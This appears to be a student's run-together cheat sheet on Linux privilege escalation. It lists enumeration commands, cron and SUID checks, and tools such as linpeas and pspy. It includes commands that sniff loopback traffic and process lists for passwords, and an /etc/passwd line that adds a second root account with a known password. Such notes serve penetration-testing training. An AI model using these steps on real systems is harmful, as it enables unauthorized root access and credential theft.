Files and User Privileges
Manual Enumeration
id
can tell use about the user contexthostname
can give us, the, uh, hostname/etc/issue
and /etc/os-release
and uname -a
can give us OS info for exploitsps aux
ip a
or ifconfig
route
or routel
netstat -anp
or ss -anp
/etc/iptables
iptables-save
output in that directory, ending in .v4 I thinkls -lah /etc/cron*
/etc/cron.hourly/
)sudo crontab -l
will show scripts run by the root usergrep "CRON" /var/log/syslog
dpkg -l
mount
will list all mounted filesystems/etc/fstab
lsblk
to list all available diskslsmod
/sbin/modinfo {module_name}
setuid
and setgid
executables
find / -perm -u=s -type f 2>/dev/null
2>/dev/null
sends all errors to nullAutomated Enumeration
linpeas
https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
unix-privesc-check
./unix-privesc-check standard > output.txt
LinEnum
- apparently a developed tool listed alongside LinPeas
pspy
- https://github.com/DominicBreuker/pspy
linux-exploit-suggester
(executed by linpeas)
Checking User History Files
.bashrc
can sometimes contains environment variables with credentialsecho $HISTFILE
env
Inspecting User/System Trails for Credentials
watch -n 1
sudo to run something like ps -aux | grep "pass"
to look for new processes spawned with “pass” somewhere in the commandsudo tcpdump -i lo -A | grep "pass"
Abusing Insecure Cron Jobs/File Permissions
ls -lah /etc/cron*
grep "CRON" /var/log/syslog
/var/log/cron.log
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
find /home -readable -type f 2>/dev/null
Abusing Password Authentication
/etc/passwd
is considered valid for auth, even with existence of /etc/shadow
, meaning that if we can write to /etc/passwd
we can just set an arbitrary password for a user
openssl passwd {passwd}
, which returns crypt algo hashroot2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash
(creates new root2/w00t user)Abuse SUID Programs/Capabilities
/usr/sbin/getcap -r / 2>/dev/null
Circumvent Special Sudo Permissions
sudo -l
to see allowed commandsEnumerate Kernel for CVEs
cat /etc/issue
, uname -r
, and arch
searchsploit
to search for existing kernel exploits
searchsploit "linux kernel {kernel type and version} Local Privilege Escalation"
and then grep for the version needed
grep "4." | grep -v " < 4.4.4" | grep -v "4.8"
/etc/shadow
for hashes